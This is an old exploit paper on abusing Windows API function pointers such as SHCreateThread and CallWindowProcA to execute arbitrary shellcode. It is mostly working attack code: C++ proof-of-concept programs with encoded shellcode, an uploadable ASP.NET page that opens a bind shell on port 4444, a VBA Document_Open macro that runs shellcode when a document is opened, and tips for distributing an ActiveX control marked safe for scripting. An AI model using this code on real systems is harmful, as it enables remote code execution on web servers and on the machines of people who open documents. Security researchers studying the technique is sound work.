MS API function pointers hijacking

From: shinnai
Mail: shinnai[at]autistici[dot]org
Site: http://shinnai.altervista.org

Special thanks to str0ke for his advices in C++ programming

In this paper I'll demonstrate how to use some API functions pointers to execute arbitrary code on a user's pc. This is not a bug, but I consider it as a simply security flaw.
I'll use, in this sample, "SHCreateThread" function from shlwapi.dll for writing a page in ASP.NET, upload it to a web server and obtain so a bind shell.
Naturally, you can use it as you want because every programming language that uses direct calls to API functions could be used to do something like that.

Put me in coach, I'm ready to play

First of all some technical details: shlwapi.dll is a library which contains functions for UNC and URL paths, registry entries, and colour settings. Between functions you'll find "SHCreateThread", this is a report of this function from http://msdn2.microsoft.com/En-US/library/bb759869.aspx:

Syntax:

```
BOOL SHCreateThread(
    LPTHREAD_START_ROUTINE pfnThreadProc,
    VOID *pData,
    DWORD dwFlags,
    LPTHREAD_START_ROUTINE pfnCallback
);
```

Parameters

pfnThreadProc
[in] A pointer to an application-defined function of the **LPTHREAD_START_ROUTINE** type. If a new thread was successfully created, this application-defined function is called in the context of that thread. **SHCreateThread** does not wait for the function pointed to by this parameter to complete before returning to its caller. The application-defined function's return value is the exit code of the thread.

pData
[in] A pointer to an application-defined data structure that contains initialization data. It is passed to the function pointed to by *pfnThreadProc* and, optionally, *pfnCallback*.

dwFlags
[in] The flags that control the behavior of the function. One or more of the **CTF** constants.

pfnCallback
[in] A pointer to an optional application-defined function of the **LPTHREAD_START_ROUTINE** type. This function is called in the context of the created thread before the function pointed to by *pfnThreadProc* is called. It will also receive *pData* as its argument. **SHCreateThread** will wait for the function pointed to by *pfnCallback* to return before returning to its caller. The return value of the function pointed to by *pfnCallback* is ignored.

Return Value

Returns TRUE if the thread is successfully created or FALSE otherwise.
Remarks

The function pointed to by *pfnThreadProc* and *pfnCallback* must take the following form.

```
DWORD WINAPI ThreadProc(LPVOID pData)
{
  ...
}
```

The function name is arbitrary. The *pData* parameter points to an application-defined data structure with initialization information.

Ok, let's start. I think that the best way to let you understand what I mean is start coding, due to my horrible english, so a little bit of C++ coding:

```
#include "stdafx.h"
#include "windows.h"
#include "stdio.h"

typedef INT (WINAPI *ProcAdd) ();

//execute calc.exe
char shellcode[]=
"\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\xeb\x03\x59\xeb"
"\x05\xe8\xf8\xff\xff\xff\x4f\x49\x49\x49\x49\x49\x49\x51\x5a\x56"
"\x54\x58\x36\x33\x30\x56\x58\x34\x41\x30\x42\x36\x48\x48\x30\x42"
"\x33\x30\x42\x43\x56\x58\x32\x42\x44\x42\x48\x34\x41\x32\x41\x44"
"\x30\x41\x44\x54\x42\x44\x51\x42\x30\x41\x44\x41\x56\x58\x34\x5a"
"\x38\x42\x44\x4a\x4f\x4d\x4e\x4f\x4a\x4e\x46\x34\x42\x50\x42\x30"
"\x42\x50\x4b\x38\x45\x44\x4e\x43\x4b\x38\x4e\x47\x45\x30\x4a\x47"
"\x41\x30\x4f\x4e\x4b\x48\x4f\x54\x4a\x41\x4b\x38\x4f\x55\x42\x52"
"\x41\x30\x4b\x4e\x49\x54\x4b\x48\x46\x33\x4b\x48\x41\x50\x50\x4e"
"\x41\x43\x42\x4c\x49\x59\x4e\x4a\x46\x48\x42\x4c\x46\x47\x47\x50"
"\x41\x4c\x4c\x4c\x4d\x50\x41\x50\x44\x4c\x4b\x4e\x46\x4f\x4b\x43"
"\x46\x35\x46\x52\x46\x30\x45\x37\x45\x4e\x4b\x58\x4f\x45\x46\x42"
"\x41\x50\x4b\x4e\x48\x46\x4b\x48\x4e\x30\x4b\x44\x4b\x48\x4f\x35"
"\x4e\x41\x41\x30\x4b\x4e\x4b\x38\x4e\x51\x4b\x38\x41\x50\x4b\x4e"
"\x49\x38\x4e\x45\x46\x32\x46\x50\x43\x4c\x41\x33\x42\x4c\x46\x46"
"\x4b\x48\x42\x34\x42\x33\x45\x38\x42\x4c\x4a\x47\x4e\x30\x4b\x38"
"\x42\x34\x4e\x50\x4b\x58\x42\x47\x4e\x41\x4d\x4a\x4b\x58\x4a\x36"
"\x4a\x30\x4b\x4e\x49\x50\x4b\x48\x42\x48\x42\x4b\x42\x30\x42\x50"
"\x42\x30\x4b\x38\x4a\x56\x4e\x43\x4f\x55\x41\x33\x48\x4f\x42\x46"
"\x48\x35\x49\x38\x4a\x4f\x43\x58\x42\x4c\x4b\x37\x42\x55\x4a\x36"
"\x42\x4f\x4c\x58\x46\x50\x4f\x35\x4a\x36\x4a\x59\x50\x4f\x4c\x38"
"\x50\x50\x47\x55\x4f\x4f\x47\x4e\x43\x56\x41\x56\x4e\x46\x43\x56"
"\x50\x32\x45\x46\x4a\x37\x45\x36\x42\x50\x5a\x90\x90\x90\x90\x90"
"\x90\x90\x90\x90\x90\x90\x90";

int main (void)
{
      HMODULE                   hMod;
      ProcAdd                   P_Address;

      hMod = LoadLibrary ("shlwapi.dll");

    if (hMod != NULL)
    {
        P_Address = (ProcAdd)    GetProcAddress (hMod, "SHCreateThread");

             typedef int (__stdcall * pICFUNC)(char *, char *, char *, char *);

             pICFUNC MyFunction;
             MyFunction = pICFUNC(P_Address);

             int MyReturn = MyFunction("write", "anything", "you want", shellcode);
    }
    else
        printf ("There was something wrong...\n");
    return 0;
}
```

As you can see, I pass to function the optional *pfnCallback*, putting in it my shellcode and what happened? The shellcode will be executed due to the fact that we pass to the pointer a valid sequence of commands.
You can obtain same results using user32.dll, look at this:

```
#include "stdafx.h"
#include "windows.h"
#include "stdio.h"

typedef INT (WINAPI *ProcAdd) ();

//execute calc.exe
char shellcode[]=
"\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\xeb\x03\x59\xeb"
"\x05\xe8\xf8\xff\xff\xff\x4f\x49\x49\x49\x49\x49\x49\x51\x5a\x56"
"\x54\x58\x36\x33\x30\x56\x58\x34\x41\x30\x42\x36\x48\x48\x30\x42"
"\x33\x30\x42\x43\x56\x58\x32\x42\x44\x42\x48\x34\x41\x32\x41\x44"
"\x30\x41\x44\x54\x42\x44\x51\x42\x30\x41\x44\x41\x56\x58\x34\x5a"
"\x38\x42\x44\x4a\x4f\x4d\x4e\x4f\x4a\x4e\x46\x34\x42\x50\x42\x30"
"\x42\x50\x4b\x38\x45\x44\x4e\x43\x4b\x38\x4e\x47\x45\x30\x4a\x47"
"\x41\x30\x4f\x4e\x4b\x48\x4f\x54\x4a\x41\x4b\x38\x4f\x55\x42\x52"
"\x41\x30\x4b\x4e\x49\x54\x4b\x48\x46\x33\x4b\x48\x41\x50\x50\x4e"
"\x41\x43\x42\x4c\x49\x59\x4e\x4a\x46\x48\x42\x4c\x46\x47\x47\x50"
"\x41\x4c\x4c\x4c\x4d\x50\x41\x50\x44\x4c\x4b\x4e\x46\x4f\x4b\x43"
"\x46\x35\x46\x52\x46\x30\x45\x37\x45\x4e\x4b\x58\x4f\x45\x46\x42"
"\x41\x50\x4b\x4e\x48\x46\x4b\x48\x4e\x30\x4b\x44\x4b\x48\x4f\x35"
"\x4e\x41\x41\x30\x4b\x4e\x4b\x38\x4e\x51\x4b\x38\x41\x50\x4b\x4e"
"\x49\x38\x4e\x45\x46\x32\x46\x50\x43\x4c\x41\x33\x42\x4c\x46\x46"
"\x4b\x48\x42\x34\x42\x33\x45\x38\x42\x4c\x4a\x47\x4e\x30\x4b\x38"
"\x42\x34\x4e\x50\x4b\x58\x42\x47\x4e\x41\x4d\x4a\x4b\x58\x4a\x36"
"\x4a\x30\x4b\x4e\x49\x50\x4b\x48\x42\x48\x42\x4b\x42\x30\x42\x50"
"\x42\x30\x4b\x38\x4a\x56\x4e\x43\x4f\x55\x41\x33\x48\x4f\x42\x46"
"\x48\x35\x49\x38\x4a\x4f\x43\x58\x42\x4c\x4b\x37\x42\x55\x4a\x36"
"\x42\x4f\x4c\x58\x46\x50\x4f\x35\x4a\x36\x4a\x59\x50\x4f\x4c\x38"
"\x50\x50\x47\x55\x4f\x4f\x47\x4e\x43\x56\x41\x56\x4e\x46\x43\x56"
"\x50\x32\x45\x46\x4a\x37\x45\x36\x42\x50\x5a\x90\x90\x90\x90\x90"
"\x90\x90\x90\x90\x90\x90\x90";

int main (void)
{
        HMODULE                 hMod;
        ProcAdd                 P_Address;

        hMod = LoadLibrary ("USER32.DLL");

    if (hMod != NULL)
    {
        P_Address =      (ProcAdd)        GetProcAddress (hMod, "CallWindowProcA");

                typedef int (__stdcall * pICFUNC)(long, char *, long, long, long);

                pICFUNC MyFunction;
                MyFunction = pICFUNC(P_Address);

                int MyReturn = MyFunction(2088992947, shellcode, 0, 0, 0);
                //Win XP Pro.: 2088992947 == 0x7C8380B3 call [EBP+C] from kernel32.dll
                //Server 2003: 2011459891 == 0x77E47133 call [EBP+C] from kernel32.dll
    }
    else
        printf ("There was something wrong...\n");
    return 0;
}
```

Very similar code, the difference is just in this line:

`int MyReturn = MyFunction(2088992947, shellcode, 0, 0, 0);`

If you change the pointer value from **2088992947** (decimal value of 0x7C8380B3 call [EBP+C] from kernel32.dll) to **1094795585** (decimal value of 41414141) and then run your code, you'll see registers content as:

```
EAX 7FFDE000
ECX 40000000
EDX 7C91EB94 ntdll.KiFastSystemCallRet
EBX 00000000
ESP 0012FE28
EBP 0012FE50
ESI 41414141
EDI 0012FE8C
EIP 41414141
```

and stack:

```
EBP ==>  >|0012FEB8
EBP+4    >|7E398816  RETURN to USER32_1.7E398816 from USER32_1.7E39870C
EBP+8    >|41414141
EBP+C    >|00420040  ASCII "BBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBB"
```

I suppose it's simple to understand that passing to EIP a call [EBP+C] will execute the code.
Funny thing is that these pointers are always unchecked, so you can use every language that did direct call to a dll. See this one:

```
Partial Class _Default

    Inherits System.Web.UI.Page
    <Runtime.InteropServices.DllImport("shlwapi.dll")> Shared Function
SHCreateThread(ByVal pfnThreadProc As Long, ByVal pData As String, ByVal dwFlags As
String, ByVal pfnCallback As Long) As Long

    End Function
    Protected Sub Page_PreLoad(ByVal sender As Object, ByVal e As System.EventArgs)
Handles Me.PreLoad
        Dim i As Integer, nop As String, shellcode As String
        For i = 1 To 12
            nop = nop & Chr(144)
        Next i

       'bind shell on port 4444
        shellcode = nop & "ë□Yë□èøÿÿÿI7IIIIIIIIIIIIIIIIQZjBXP0B1ABkBAR2BB" & _
                          "2AA0AAXBP8BBu9yKLaz8kPMhhiiKOKOYoSPNk2LDd5tnk0" & _
                          "EWLNkAldEQhFaJOlK0OFxlKqOGP31ZKaYnkP4NkFaxnP1i" & _
                          "PNyNLK4kpRTc78AjjDMc1krhkIdwK0TA4ExRUiunksoutV" & _
                          "azK3VNk6lrkLKSo5Lwq8kGsDlnkK92L5twle1iSVQIKe4N" & _
                          "kg34pLKw0tLnkd0GlLmnkAPc8SnphNnbnVn8lRpkOzvrFa" & _
                          "CCVRHwCdrQxqgPsp2qO1DKOJpu8xKhmIlukF0KOyFSooy8" & _
                          "esVLAXmdHeRru2Js2IoJp3XxYc99eLmrwkOn6PSRsQCpS3" & _
                          "cqSccaS3cKOZpsVQx7aALPfSclIZAZ5QxMtgj0pKwf7yoK" & _
                          "fAz20rq3eYo8PphoTnMdn8i2wKON6QCAE9oJpqxJEqYmVC" & _
                          "yv7KO9FRprtF41EKOhPNsCXkWqio6SIv7kO8VqEkOHP56p" & _
                          "j1tE61xbC2MoyzEqz0P3iFIjlk9jGsZQToym201YP8sMzY" & _
                          "nCr6MinsrTlocLMrZtxLklknK58PrkNLsdVKOCE2dyozv3" & _
                          "k2wbrca3a0Q0jS1qAF1Ru2qkON0phNMzyFeJnrsioXVrJi" & _
                          "oiofW9oXPLKAGkLlCO42DKOhVv2KON0qx3NjxIrCCaCKOH" & _
                          "ViojpB" & nop
        SHCreateThread(1094795585, "none", shellcode, 1128481603)
    End Sub
End Class
```

It's a code that you can save into an aspx.vb page that you can easily call from an aspx page in this way:

```
<%@ Page Language="VB" AutoEventWireup="false" CodeFile="mypage.aspx.vb"
Inherits="_Default" %>
```

Of course you need a web server that allows you to upload these page but, once you'll find it, be sure you'll obtain a bind shell with ASPNET user rights.
I try it on IIS 6, Microsoft .NET Framework:2.0.50727.1378; Version of ASP.NET:2.0.50727.1378 (don't worry, it's mine).
Naturally, another vector is VBA macros. Most user set protection against macro execution on medium, so you'll easily write a code like this:

```
Private Declare Function CallWindowProc Lib "user32" Alias "CallWindowProcA" (ByVal
lpPrevWndFunc As Long, ByVal hWnd As Long, ByVal Msg As Any, ByVal wParam As Any, ByVal
lParam As Any) As Long

Private Sub Document_Open()
    On Error GoTo hell
        For i = 1 To 12
            nop = nop & Chr(144)
        Next i

        shellcode = nop & "ë□Yë□èøÿÿÿOIIIIIIQZVTX630VX4A0B6HH0B30BCVX2BDBH4A2AD0" & _
                          "ADTBDQB0ADAVX4Z8BDJOMNOJNF4BPB0BPK8EDNCK8NGE0JGA0ONKH" & _
                          "OTJAK8OUBRA0KNITKHF3KHAPPNACBLIYNJFHBLFGGPALLLMPAPDLK" & _
                          "NFOKCF5FRF0E7ENKXOEFBAPKNHFKHN0KDKHO5NAA0KNK8NQK8APKN" & _
                          "I8NEF2FPCLA3BLFFKHB4B3E8BLJGN0K8B4NPKXBGNAMJKXJ6J0KNI" & _
                          "PKHBHBKB0BPB0K8JVNCOUA3HOBFH5I8JOCXBLK7BUJ6BOLXFPO5J6" & _
                          "JYPOL8PPGUOOGNCVAVNFCVP2EFJ7E6BPZ" & nop

        TextBox1.Text = shellcode

        CallWindowProc 2089148898, 1, TextBox1.Text, ByVal 0&, ByVal 0&
        '2089148898 = 0x7C85E1E2 CALL [EBP+1C] from kernel32.dll
    Exit Sub
hell:
    MsgBox "There was something wrong..." & vbCrLf & _
           "Error number: " & Err.Number & vbCrLf & _
           "Error description: " & Err.Description
End Sub
```

Or you can write your own ActiveX and mark it as:

```
RegKey Safe for Script: False
RegKey Safe for Init: False
Implements IObjectSafety: True
IDisp Safe: Safe for untrusted: caller, data
IPStorage Safe: Safe for untrusted: caller, data
```

and having fun distributing it (I know, I know, to use an ActiveX from remote location you need a digital signature but once you run it local...)
That's all folks, hope you'll enjoy this little paper to do research and auditing API functions as well.

Bye, shinnai